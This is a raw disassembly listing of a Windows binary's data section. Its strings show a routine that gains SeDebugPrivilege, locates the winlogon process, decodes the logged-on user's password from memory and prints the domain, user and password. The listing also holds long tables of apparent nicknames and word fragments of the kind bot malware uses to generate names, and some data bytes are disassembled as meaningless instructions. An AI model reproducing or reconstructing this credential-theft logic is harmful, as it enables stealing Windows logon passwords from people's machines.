unk_43D254	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417066o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_43D280	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_41705Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 4
unk_43D2B8	db  2Dh	; -		; DATA XREF: sub_416F1A+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_43D314	dd offset byte_530055	; DATA XREF: sub_416F1A+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004D
		dd offset byte_4E0049
		dd 0
off_43D32C	dd offset byte_530055	; DATA XREF: sub_416F1A+CEo
		dd offset byte_520045
		dd offset loc_41004D+1
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1A+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o
					; sub_416F1A+161o ...
		align 10h
unk_43D3F0	db  2Dh	; -		; DATA XREF: sub_416F1A+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 10h
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170EC+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170EC+123o
		align 10h
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170EC+AFo
		align 4
dword_43D43C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417552+70o
					; sub_4175E9+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_43D48C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175E9+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_43D4E0	dd offset aQ		; DATA XREF: sub_417ADD+5Cr
					; "q"
		dd offset dword_43E064
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
		dd offset dword_43E060
		dd offset aU		; "u"
		dd offset aI		; "i"
		dd offset aP		; "p"
		dd offset aA		; "a"
		dd offset aS_0		; "s"
		dd offset aD		; "d"
		dd offset dword_43E05C
		dd offset dword_43E058
		dd offset dword_43E054
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_43E050
		dd offset dword_43E04C
		dd offset asc_42E6F8	; "x"
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_43E048
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_43E044
		dd offset dword_43E040
		dd offset dword_43E03C
		dd offset dword_43E038
		dd offset dword_43E034
		dd offset word_43E030
		dd offset dword_43E02C
		dd offset aI_0		; "I"
		dd offset dword_43E028
		dd offset dword_43E024
		dd offset aA_0		; "A"
		dd offset dword_43E020
		dd offset dword_43E01C
		dd offset dword_43E018
		dd offset dword_43E014
		dd offset dword_43E010
		dd offset dword_43E00C
		dd offset dword_43E008
		dd offset dword_43E004
		dd offset dword_43E000
		dd offset dword_43DFFC
		dd offset dword_43DFF8
		dd offset dword_43DFF4
		dd offset dword_43DFF0
		dd offset word_43DFEC
		dd offset aM_1		; "M"
		dd offset aSmartmir	; "SMARTMIR"
; ---------------------------------------------------------------------------
		aam	0DFh
		inc	ebx
		add	ah, cl
		fild	word ptr [ebx+0]
		rcr	bh, 43h
		add	[eax-4FFFBC21h], bh


loc_43D5C1:				; CODE XREF: ___:0043D5E0j
		fild	word ptr [ebx+0]
		test	al, 0DFh
		inc	ebx
		add	[eax-67FFBC21h], ah
		fild	word ptr [ebx+0]
		nop
		fild	word ptr [ebx+0]
		test	bl, bh
		inc	ebx
		add	[eax+780043DFh], al
		fild	word ptr [ebx+0]
		jo	short loc_43D5C1
		inc	ebx
		add	[edx+ecx*8-2093FFBEh], bl
		inc	ebx
		add	[edi+ebx*8+43h], ah
		add	[edi+ebx*8+43h], bl
		add	[edi+ebx*8+43h], dl
		add	[edi+ebx*8+43h], cl
		add	[eax-21h], al
		inc	ebx
		add	[eax], bh
		fild	word ptr [ebx+0]
		xor	bh, bl
		inc	ebx
		add	[eax], ch
		fild	word ptr [ebx+0]
		cwde
; ---------------------------------------------------------------------------
		db 0CEh, 42h, 0
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl_0	; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
; ---------------------------------------------------------------------------


loc_43D638:				; CODE XREF: ___:0043D658j
		mov	esp, 0B40043DEh
		fiadd	word ptr [ebx+0]
		lodsb
		fiadd	word ptr [ebx+0]
		pushf
		fiadd	word ptr [ebx+0]
		xchg	eax, esp
		fiadd	word ptr [ebx+0]
		mov	dh, bl
		inc	ebx
		add	[eax+780043DEh], al
		fiadd	word ptr [ebx+0]
		jo	short loc_43D638
		inc	ebx
		add	[eax-22h], ch
		inc	ebx
		add	[eax-22h], ah
		inc	ebx
		add	[eax-22h], bl
		inc	ebx
		add	[esi+ebx*8+43h], cl
		add	[esi+ebx*8+43h], al
		add	[eax], bh
		fiadd	word ptr [ebx+0]
		sub	al, 0DEh
		inc	ebx
		add	[esi+ebx*8], ah
		inc	ebx
		add	[esi+ebx*8], bl
		inc	ebx
		add	[esi+ebx*8], dl
		inc	ebx
		add	[esi+ebx*8], cl
		inc	ebx
		add	[esi+ebx*8], al
		inc	ebx
		add	ah, bh
		fld	qword ptr [ebx+0]
; ---------------------------------------------------------------------------
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_43DD94
		dd offset off_43DD90
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_43DBFC
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_43D7E0	dd offset aSex		; DATA XREF: sub_417ADD+41r
					; sub_417ADD+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck_0	; "|suck|"
		dd offset aLuck_0	; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex_0	; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick_0	; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset dword_43E048
		dd offset aC		; "c"
		dd offset aD		; "d"
		dd offset aE		; "e"
		dd offset dword_43E05C
		dd offset dword_43E058
		dd offset dword_43E054
		dd offset aI		; "i"
		dd offset dword_430E34
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_43E050
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_43E064
		dd offset asc_42E6F8	; "x"
		dd offset dword_43E060
		dd offset dword_43E04C
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_43E04C
		dd offset dword_43E058
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_43DA24
		dd offset aBbl		; "|bbl"
		dd offset dword_4429D8
		dd offset dword_4429D8
		dd offset a___0		; "_|_"
		dd offset dword_4429D8
		dd offset dword_4429D8
		dd offset dword_4429D8
		dd offset dword_4429D8
		dd offset dword_43E018
		dd offset aM_1		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF		; "^^^f^"
		dd offset dword_43E048
		dd offset dword_4429D8
		dd offset aSleeping	; "Sleeping"
		dd offset dword_4429D8
		dd offset dword_4429D8
		dd offset aFuck_0	; "Fuck"
		dd offset aFree_0	; "Free"
		dd offset dword_4429D8
		dd offset dword_4429D8
		dd offset dword_43DFFC
		dd offset dword_4429D8
		dd offset off_43D9E4
		dd offset aGirl_1	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_43D9AC
		dd offset aLol		; "lol"
		dd offset dword_43D9A4
		dd offset dword_43D998
		dd offset dword_43D990
		dd offset dword_43D988
		dd offset dword_43D980
		dd offset dword_43D97C
		dd offset dword_43D978
dword_43D978	dd 7536h		; DATA XREF: ___:0043D974o
dword_43D97C	dd 7535h		; DATA XREF: ___:0043D970o
dword_43D980	dd 7C75347Ch, 0		; DATA XREF: ___:0043D96Co
dword_43D988	dd 6F79347Bh, 7D75h	; DATA XREF: ___:0043D968o
dword_43D990	dd 7375347Ch, 7Ch	; DATA XREF: ___:0043D964o
dword_43D998	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:0043D960o
dword_43D9A4	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:0043D95Co
dword_43D9AC	dd 746F74h		; DATA XREF: ___:0043D954o
aMofo		db 'mofo',0             ; DATA XREF: ___:0043D950o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:0043D94Co
		align 10h
aMuha		db 'muha',0             ; DATA XREF: ___:0043D948o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:0043D944o
		align 10h
aAha		db 'aha',0              ; DATA XREF: ___:0043D940o
aGurl		db 'gurl',0             ; DATA XREF: ___:0043D938o
		align 4
aGirl_1		db 'GIRL',0             ; DATA XREF: ___:0043D934o
		align 4
off_43D9E4	dd offset word_594F42	; DATA XREF: ___:0043D930o
aFree_0		db 'Free',0             ; DATA XREF: ___:0043D91Co
		align 10h
aFuck_0		db 'Fuck',0             ; DATA XREF: ___:0043D918o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:0043D90Co
		align 4
aF		db '^^^f^',0            ; DATA XREF: ___:0043D900o
		align 4
aSad		db 'Sad',0              ; DATA XREF: ___:0043D8FCo
aLuvu		db 'LUVU',0             ; DATA XREF: ___:0043D8F8o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:0043D8DCo
aBbl		db '|bbl',0             ; DATA XREF: ___:0043D8D0o
		align 4
off_43DA24	dd offset loc_425242	; DATA XREF: ___:0043D8CCo
aMuckc		db 'muckc',0            ; DATA XREF: ___:0043D8B8o
		align 10h
aTruck		db 'truck',0            ; DATA XREF: ___:0043D8B4o
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:0043D8B0o
		align 10h
aLuvy		db 'luvy',0             ; DATA XREF: ___:0043D8ACo
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:0043D8A8o
		align 4
aSdf		db 'sdf',0              ; DATA XREF: ___:0043D8A4o
aRt		db 'rt',0               ; DATA XREF: ___:0043D8A0o
		align 4
aGf		db 'gf',0               ; DATA XREF: ___:0043D89Co
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:0043D898o
		align 4
aRg		db 'rg',0               ; DATA XREF: ___:0043D894o
		align 10h
aHappy		db 'happy',0            ; DATA XREF: ___:0043D890o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:0043D870o
		align 4
aQ8A		db '|q8|a',0            ; DATA XREF: ___:0043D828o
		align 4
aQ8		db 'Q8',0               ; DATA XREF: ___:0043D824o
		align 4
aSick_0		db 'sick}}',0           ; DATA XREF: ___:0043D820o
		align 10h
aWiked		db '|wiked|',0          ; DATA XREF: ___:0043D81Co
aLuvuF		db '||luvu-f|',0        ; DATA XREF: ___:0043D818o
		align 4
aGens		db '{gens|',0           ; DATA XREF: ___:0043D814o
		align 4
aSex_0		db '{sex}',0            ; DATA XREF: ___:0043D810o
		align 4
aHub		db '{hub}',0            ; DATA XREF: ___:0043D80Co
		align 4
aLuck_0		db '|luck|',0           ; DATA XREF: ___:0043D808o
		align 4
aSuck_0		db '|suck|',0           ; DATA XREF: ___:0043D804o
		align 4
aTot		db '-|tot|',0           ; DATA XREF: ___:0043D800o
		align 4
aWoh		db '|woh|',0            ; DATA XREF: ___:0043D7FCo
		align 4
aTambe		db '|tambe|',0          ; DATA XREF: ___:0043D7F8o
aLag		db 'lag',0              ; DATA XREF: ___:0043D7F4o
aBad		db 'bad',0              ; DATA XREF: ___:0043D7F0o
aZex		db 'zex',0              ; DATA XREF: ___:0043D7E8o
aLez		db 'lez',0              ; DATA XREF: ___:0043D7E4o
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:0043D7DCo
		align 10h
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:0043D7D8o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:0043D7D4o
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:0043D7D0o
		align 10h
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:0043D7CCo
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:0043D7C8o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:0043D7C4o
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:0043D7C0o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:0043D7BCo
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: ___:0043D7B8o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:0043D7B4o
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:0043D7B0o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:0043D7ACo
		align 10h
aUla		db 'ula',0              ; DATA XREF: ___:0043D7A8o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:0043D7A4o
aAkden		db 'akden',0            ; DATA XREF: ___:0043D7A0o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: ___:0043D79Co
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:0043D798o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: ___:0043D794o
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:0043D790o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:0043D78Co
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:0043D788o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:0043D784o
		align 10h
aAnkm		db 'ankM',0             ; DATA XREF: ___:0043D780o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:0043D77Co
		align 10h
aDevre		db 'devre',0            ; DATA XREF: ___:0043D778o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:0043D774o
		align 10h
aBirsen		db 'birsen',0           ; DATA XREF: ___:0043D770o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:0043D76Co
		align 10h
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:0043D768o
		align 4
off_43DBFC	dd offset byte_4B5245	; DATA XREF: ___:0043D764o
aSevda		db 'sevda',0            ; DATA XREF: ___:0043D760o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:0043D75Co
		align 10h
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:0043D758o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:0043D754o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: ___:0043D750o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:0043D74Co
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:0043D748o
		align 10h
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:0043D744o
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:0043D740o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:0043D73Co
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:0043D738o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:0043D734o
		align 10h
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:0043D730o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:0043D72Co
		align 10h
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:0043D728o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:0043D724o
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:0043D720o
		align 10h
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:0043D71Co
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:0043D718o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:0043D714o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:0043D710o
aHoly		db 'holy',0             ; DATA XREF: ___:0043D70Co
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: ___:0043D708o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:0043D704o
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:0043D700o
		align 10h
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:0043D6FCo
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:0043D6F8o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:0043D6F4o
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:0043D6F0o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:0043D6ECo
		align 10h
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:0043D6E8o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:0043D6E4o
aArda		db 'arda',0             ; DATA XREF: ___:0043D6E0o
		align 10h
aDevran		db 'devran',0           ; DATA XREF: ___:0043D6DCo
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:0043D6D8o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:0043D6D4o
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:0043D6D0o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:0043D6CCo
		align 4
aBogac		db 'bogac',0            ; DATA XREF: ___:0043D6C8o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:0043D6C4o
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:0043D6C0o
		align 10h
off_43DD90	dd offset byte_457441	; DATA XREF: ___:0043D6BCo
dword_43DD94	dd 414C5941h, 2Dh	; DATA XREF: ___:0043D6B8o
aAlbina		db 'albina',0           ; DATA XREF: ___:0043D6B4o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:0043D6B0o
		align 10h
aZack		db 'ZACK',0             ; DATA XREF: ___:0043D6ACo
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:0043D6A8o
		align 10h
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:0043D6A4o
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:0043D6A0o
		align 10h
aPelincik	db 'pelincik',0         ; DATA XREF: ___:0043D69Co
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:0043D698o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:0043D694o
		align 10h
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:0043D690o
		align 4
aPiramit	db 'PIRAMIT',0
aAslii		db 'aslii',0
		align 4
aErnesto	db 'ERNESTO',0
aHaticem	db 'haticem',0
aArzu		db 'ARZU',0
		align 4
aSudenur	db 'SUDENUR',0
aSevmekmi	db 'sevmekmi',0
		align 4
aVenedik34	db 'venedik34',0
		align 4
aTekir		db 'tekir',0
		align 4
aMERVE		db 'M-E-R-V-E',0
		align 4
aTrend3		db 'trend3',0
		align 10h
aMelekk		db 'melekk',0
		align 4
aAkin		db 'AKIN',0
		align 10h
aMary_0		db 'MARY',0
		align 4
aJericho	db 'JERICHO',0
aTolga34	db 'Tolga34',0
aMisssunday	db 'misssunday',0
		align 4
aIrmal		db 'irmal',0
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0
		align 4
aBerk19		db 'berk19',0
		align 4
aHexaaa		db 'hexaaa',0
		align 4
aErkan27	db 'erkan27',0
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:0043D634o
		align 10h
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:0043D630o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:0043D62Co
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:0043D628o
aReshma		db 'reshma',0           ; DATA XREF: ___:0043D624o
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:0043D620o
		align 10h
aGirl_0		db 'GirL',0             ; DATA XREF: ___:0043D61Co
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:0043D618o
		align 10h
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:0043D614o
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:0043D610o
		align 4
aManee		db 'manee',0
		align 10h
aTroller	db 'troller',0
aLuisa		db 'Luisa',0
		align 10h
aNastysha	db 'nastysha',0
		align 4
aRimpy		db 'rimpy',0
		align 4
aJanno		db 'janno',0
		align 4
aBunty		db 'bunty',0
		align 4
aHeval		db 'heval',0
		align 4
aCme		db 'cme',0
aTalika		db 'talika',0
		align 4
aShez		db 'Shez',0
		align 10h
aKen		db 'ken',0
aFlexster	db 'flexster',0
		align 10h
aKoko		db 'koko',0
		align 4
aMale		db 'male',0
		align 10h
aSwin		db 'swin',0
		align 4
aCar1nna	db 'Car1nna',0
aKrizha		db 'KRIZHA',0
		align 4
aEmilya		db 'emilya',0
		align 10h
aBobmarley	db 'BOBMARLEY',0
		align 4
aMaxxguy	db 'maxxguy',0
aFarooq		db 'farooq',0
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:0043D5ACo
		align 4
aM_1:					; DATA XREF: ___:0043D5A8o
					; ___:0043D8F4o
		unicode	0, <M>,0
word_43DFEC	dw 4Eh			; DATA XREF: sub_419E79+38r
					; ___:0043D5A4o
		align 10h
dword_43DFF0	dd 42h			; DATA XREF: ___:0043D5A0o
dword_43DFF4	dd 56h			; DATA XREF: ___:0043D59Co
dword_43DFF8	dd 43h			; DATA XREF: ___:0043D598o
dword_43DFFC	dd 58h			; DATA XREF: ___:0043D594o
					; ___:0043D928o
dword_43E000	dd 5Ah			; DATA XREF: ___:0043D590o
dword_43E004	dd 4Ch			; DATA XREF: ___:0043D58Co
dword_43E008	dd 4Bh			; DATA XREF: ___:0043D588o
dword_43E00C	dd 4Ah			; DATA XREF: ___:0043D584o
dword_43E010	dd 48h			; DATA XREF: ___:0043D580o
dword_43E014	dd 47h			; DATA XREF: ___:0043D57Co
dword_43E018	dd 46h			; DATA XREF: ___:0043D578o
					; ___:0043D8F0o
dword_43E01C	dd 44h			; DATA XREF: ___:0043D574o
dword_43E020	dd 53h			; DATA XREF: ___:0043D570o
dword_43E024	dd 50h			; DATA XREF: ___:0043D568o
dword_43E028	dd 4Fh			; DATA XREF: ___:0043D564o
dword_43E02C	dd 55h			; DATA XREF: ___:0043D55Co
word_43E030	dw 59h			; DATA XREF: sub_41A19D+38r
					; ___:0043D558o
		align 4
dword_43E034	dd 54h			; DATA XREF: ___:0043D554o
dword_43E038	dd 52h			; DATA XREF: ___:0043D550o
dword_43E03C	dd 45h			; DATA XREF: ___:0043D54Co
dword_43E040	dd 57h			; DATA XREF: ___:0043D548o
dword_43E044	dd 51h			; DATA XREF: ___:0043D544o
dword_43E048	dd 62h			; DATA XREF: ___:0043D538o
					; ___:0043D82Co ...
dword_43E04C	dd 7Ah			; DATA XREF: ___:0043D528o
					; ___:0043D88Co ...
dword_43E050	dd 6Ch			; DATA XREF: ___:0043D524o
					; ___:0043D858o
dword_43E054	dd 68h			; DATA XREF: ___:0043D518o
					; ___:0043D844o
dword_43E058	dd 67h			; DATA XREF: ___:0043D514o
					; ___:0043D840o ...
dword_43E05C	dd 66h			; DATA XREF: ___:0043D510o
